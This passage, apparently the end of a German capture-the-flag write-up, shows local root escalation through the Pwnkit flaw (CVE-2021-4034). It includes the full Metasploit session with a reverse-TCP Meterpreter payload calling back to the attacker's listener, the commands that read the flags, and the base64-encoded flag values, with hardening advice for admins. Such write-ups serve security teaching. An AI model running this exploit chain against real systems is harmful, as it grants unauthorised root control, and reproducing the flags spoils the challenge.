**Empfehlung (Pentester):** Das Pwnkit-Exploit-Modul in Metasploit verwenden.
**Empfehlung (Admin):** System patchen (Polkit aktualisieren).

Proof of Concept: Privilege Escalation via Pwnkit

**Analyse:** Ausführung des Pwnkit-Exploits (CVE-2021-4034) über Metasploit, um Root-Rechte zu erlangen.

# Laden des Exploits (implizit)
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
# ... (Optionen anzeigen, LHOST/LPORT für Payload, SESSION) ...
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.113    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4445
lport => 4445
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.113:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.cqkkllbdzlg
[+] The target is vulnerable.
[*] Writing '/tmp/.dojsztwz/kbllqietxexv/kbllqietxexv.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.dojsztwz
[*] Sending stage (3045348 bytes) to 192.168.2.126
[+] Deleted /tmp/.dojsztwz/kbllqietxexv/kbllqietxexv.so
[+] Deleted /tmp/.dojsztwz/.kcfsga
[+] Deleted /tmp/.dojsztwz
[*] Meterpreter session 3 opened (192.168.2.113:4445 -> 192.168.2.126:40312) at 2023-06-06 15:59:31 +0200
                    
meterpreter > getuid
Server username: root

**Analyse:** Das Pwnkit-Exploit-Modul wird auf die Meterpreter-Sitzung 2 (als `www-data`) angewendet. Ein Listener für die neue Root-Shell wird auf Port 4445 gestartet. Der Exploit wird ausgeführt, bestätigt die Verwundbarkeit, lädt Komponenten nach `/tmp` hoch, nutzt die `pkexec`-Schwachstelle und startet erfolgreich eine neue Meterpreter-Sitzung (Session 3). Der Befehl `getuid` in der neuen Sitzung bestätigt: "Server username: root".

**Bewertung:** Fantastisch! Die Rechteausweitung auf Root war erfolgreich durch Ausnutzung von Pwnkit (CVE-2021-4034).

**Empfehlung (Pentester):** Mit der Root-Meterpreter-Sitzung interagieren (`sessions -i 3`), um die Flags zu finden und zu lesen.
**Empfehlung (Admin):** System dringend patchen (Polkit aktualisieren). Überwachung von `/tmp` und `pkexec`-Aktivitäten.

Flags

cat /home/john/user.txt
VEhNe0Jhc2hfMXNfRnVuXzM4MzEzNDJ9Cg==
cat /root/root.txt
VEhNe0tleXIxbmdfUjAwdDNEXzE4MzEwNTY3fQo=

**Analyse:** Nach Erlangung der Root-Rechte werden die User-Flagge im Home-Verzeichnis von `john` (`/home/john/user.txt`) und die Root-Flagge im Root-Verzeichnis (`/root/root.txt`) gefunden und ausgelesen. Die Flags sind Base64-kodiert.

**Bewertung:** Beide Flags wurden erfolgreich extrahiert. Der Penetrationstest ist abgeschlossen.

**Empfehlung (Pentester):** Die gefundenen Flags dekodieren (optional) und im Bericht dokumentieren.
**Empfehlung (Admin):** Die zugrundeliegenden Schwachstellen (SQLi, Klartext-Passwörter, RCE, veraltetes Polkit) beheben. Sicherstellen, dass Flags oder sensible Daten nicht in Benutzerverzeichnissen oder unnötigen Dateien liegen.